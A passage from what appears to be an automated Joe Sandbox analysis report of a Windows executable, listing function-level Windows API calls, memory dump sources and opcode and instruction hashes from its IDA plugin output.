                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                              • Instruction ID: 0263b137e1f68684b0dae4bb7f633391a2f723f0f4072b7ce39308acd6c8c458
                              • Opcode Fuzzy Hash: 8dc28afdcb3e23db499faf1906c1cec9916ddd90de084288035f36419de8ba35
                              • Instruction Fuzzy Hash: 31219272245110ABE7108B68DCC4B6F7798EB96374F240A3AF512C61E1EA7998C1C769
                              APIs
                              • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004555AD
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: DestroyWindow$DeleteObject$IconMove
                              • String ID:
                              • API String ID: 1640429340-0
                              • Opcode ID: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                              • Instruction ID: 2ee25f48dcb0ad8048bc4d9c922f6cac320a9d705fdb810e808868a6102f62dc
                              • Opcode Fuzzy Hash: da39536b61dc90218e8938c0c8165bcff49a91d8f884d8405ba8ed69dafdd4fa
                              • Instruction Fuzzy Hash: 05312770200A419FD724DF24C998B3A73F9FB44312F4485AAE945CB266E778EC49CB69
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __fileno__setmode$DebugOutputString_fprintf
                              • String ID:
                              • API String ID: 3354276064-0
                              • Opcode ID: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                              • Instruction ID: 1e9a75ed7ce68f0ee686932f25d41d1f14ae1a91d469003489e3a0780bce169f
                              • Opcode Fuzzy Hash: 44da5cbe136b9a97bfd5e2050e6700f1212f0f901edc4668462b95a159366457
                              • Instruction Fuzzy Hash: 6D11F3B2D0830136D500BA366C02AAF7A5C4A91B5CF44056EFD4563293EA2DAA4943FF
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Destroy$DeleteMenuObject$IconWindow
                              • String ID:
                              • API String ID: 752480666-0
                              • Opcode ID: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                              • Instruction ID: bf467a0aa8f060071afd9cdae546a2eb92d9c059e8a57ac1e588bb5f3fc3a395
                              • Opcode Fuzzy Hash: e2db828b4da75c1988a3618645d7ad87c2567147b1e4a2a373431826dce2281b
                              • Instruction Fuzzy Hash: 26215E30200A019FC724DF24D5E8B7AB7A9FB44312F50855EED498B392CB39EC89CB59
                              APIs
                              • DestroyWindow.USER32(00000000), ref: 0045527A
                              • ImageList_Destroy.COMCTL32(?), ref: 0045528C
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Destroy$DeleteObjectWindow$IconImageList_
                              • String ID:
                              • API String ID: 3275902921-0
                              • Opcode ID: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                              • Instruction ID: c357af2a313eda44c34a26cb015c973203dd8f66e4d80e74dc1abfaeb9ce60f9
                              • Opcode Fuzzy Hash: 9ca718b8a23ef3076e20a4bf5a66fd8e296fb8dfd37af4e8726ba93a3cadf818
                              • Instruction Fuzzy Hash: 2D217E70604A019BC714DF79D99466AB7A5BF44311F40856EF919CB342DB38E849CF68
                              APIs
                              • GetCurrentProcess.KERNEL32(0000000A,?,?,?,?,?,00446540,?,?,?,?,?,?,?,?,?), ref: 0043935D
                              • OpenProcessToken.ADVAPI32(00000000,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439364
                              • CreateEnvironmentBlock.USERENV(?,?,00000001,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439376
                              • CloseHandle.KERNEL32(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 00439383
                              • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,?,?,?,?), ref: 004393C0
                              • DestroyEnvironmentBlock.USERENV(?,?,00000000,00464227,00000000,?,?,?,?,?,?,?,?), ref: 004393D4
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                              • String ID:
                              • API String ID: 1413079979-0
                              • Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                              • Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
                              • Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                              • Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25
                              APIs
                              • ___set_flsgetvalue.LIBCMT ref: 0041418F
                              • __calloc_crt.LIBCMT ref: 0041419B
                              • __getptd.LIBCMT ref: 004141A8
                              • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                              • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                              • __dosmaperr.LIBCMT ref: 00414201
                                • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                              • String ID:
                              • API String ID: 1803633139-0
                              • Opcode ID: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                              • Instruction ID: ec3febacf030228bba34671a5a373aa86179f0c9a00f1e1343e4adce14cbcb36
                              • Opcode Fuzzy Hash: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                              • Instruction Fuzzy Hash: 1311DD72504209BFCB10AFA5DC828DF7BA8EF44368B20446EF50193151EB39C9C18A68
                              APIs
                              • ImageList_Destroy.COMCTL32(?), ref: 004555E8
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Destroy$DeleteObjectWindow$IconImageList_
                              • String ID:
                              • API String ID: 3275902921-0
                              • Opcode ID: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                              • Instruction ID: 9e206caaed87a4944845468030bda76e3f946505fe2e652cce1cc100bc4c7c20
                              • Opcode Fuzzy Hash: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                              • Instruction Fuzzy Hash: BE2141702006409FCB25DF25C994A2B77A9FF44312F80856EED49CB352DB39EC4ACB59
                              APIs
                              • SendMessageW.USER32 ref: 004554DF
                              • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004554FA
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: DeleteDestroyMessageObjectSend$IconWindow
                              • String ID:
                              • API String ID: 3691411573-0
                              • Opcode ID: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                              • Instruction ID: ead105b7aa3a144aa2df3f4c31681f961a0d6b706109639263d1a652a664e8ec
                              • Opcode Fuzzy Hash: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                              • Instruction Fuzzy Hash: A5118F713046419BDB10DF68DD88A2A77A8FB58322F404A2AFE14DB2D1D775DC498B68
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcslen$_wcstok$ExtentPoint32Text
                              • String ID:
                              • API String ID: 1814673581-0
                              • Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                              • Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
                              • Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                              • Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA
                              APIs
                              • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                              • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
                              • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
                              • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
                              • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: PerformanceQuery$CounterSleep$Frequency
                              • String ID:
                              • API String ID: 2833360925-0
                              • Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                              • Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
                              • Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                              • Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96
                              APIs
                                • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                              • MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
                              • LineTo.GDI32(?,?,?), ref: 00447227
                              • MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
                              • LineTo.GDI32(?,?,?), ref: 0044723D
                              • EndPath.GDI32(?), ref: 0044724E
                              • StrokePath.GDI32(?), ref: 0044725C
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                              • String ID:
                              • API String ID: 372113273-0
                              • Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                              • Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
                              • Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                              • Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD
                              APIs
                              • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041098F
                              • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410997
                              • MapVirtualKeyW.USER32(000000A0,00000000), ref: 004109A2
                              • MapVirtualKeyW.USER32(000000A1,00000000), ref: 004109AD
                              • MapVirtualKeyW.USER32(00000011,00000000), ref: 004109B5
                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 004109BD
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Virtual
                              • String ID:
                              • API String ID: 4278518827-0
                              • Opcode ID: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                              • Instruction ID: 14dd698fb88c41d3cb2937c08abaa7ad6cdafd80764dd657d9f2199fb51feb0a
                              • Opcode Fuzzy Hash: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                              • Instruction Fuzzy Hash: 52112A6118ABC4ADD3329F694854A87FFE45FB6304F484A8ED1D607A43C195A60CCBBA
                              APIs
                              • GetDC.USER32(00000000), ref: 0044CBEF
                              • GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC00
                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC09
                              • ReleaseDC.USER32(00000000,00000000), ref: 0044CC10
                              • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CC29
                              • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0044CC37
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CapsDevice$Release
                              • String ID:
                              • API String ID: 1035833867-0
                              • Opcode ID: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                              • Instruction ID: 50bf861fd692b93b916a63282857a41227f0dfa19545bc4f0a59f576ae553c11
                              • Opcode Fuzzy Hash: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                              • Instruction Fuzzy Hash: 560184B1641314BFF6009BA1DC4AF1BBB9CEF55755F01842EFF44A7241D6B098008BA9
                              APIs
                              • InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
                              • EnterCriticalSection.KERNEL32(0042A321), ref: 0044B67B
                              • TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
                              • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697
                                • Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9
                              • InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
                              • LeaveCriticalSection.KERNEL32(0042A321), ref: 0044B6AF
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                              • String ID:
                              • API String ID: 3495660284-0
                              • Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                              • Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
                              • Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                              • Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA
                              APIs
                              • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
                              • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
                              • GetWindowThreadProcessId.USER32(?,?), ref: 00437150
                              • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
                              • TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
                              • CloseHandle.KERNEL32(00000000), ref: 00437174
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                              • String ID:
                              • API String ID: 839392675-0
                              • Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                              • Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
                              • Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                              • Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE
                              APIs
                              • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,C:\Users\user\Desktop\w6dnPra4mx.exe,00000004), ref: 00436055
                              • LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
                              • UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
                              • CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
                              • GetLastError.KERNEL32 ref: 00436081
                              • CloseServiceHandle.ADVAPI32(00000000), ref: 00436091
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
                              • String ID:
                              • API String ID: 1690418490-0
                              • Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                              • Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
                              • Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                              • Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8
                              APIs
                                • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                              • CoInitialize.OLE32(00000000), ref: 00475B71
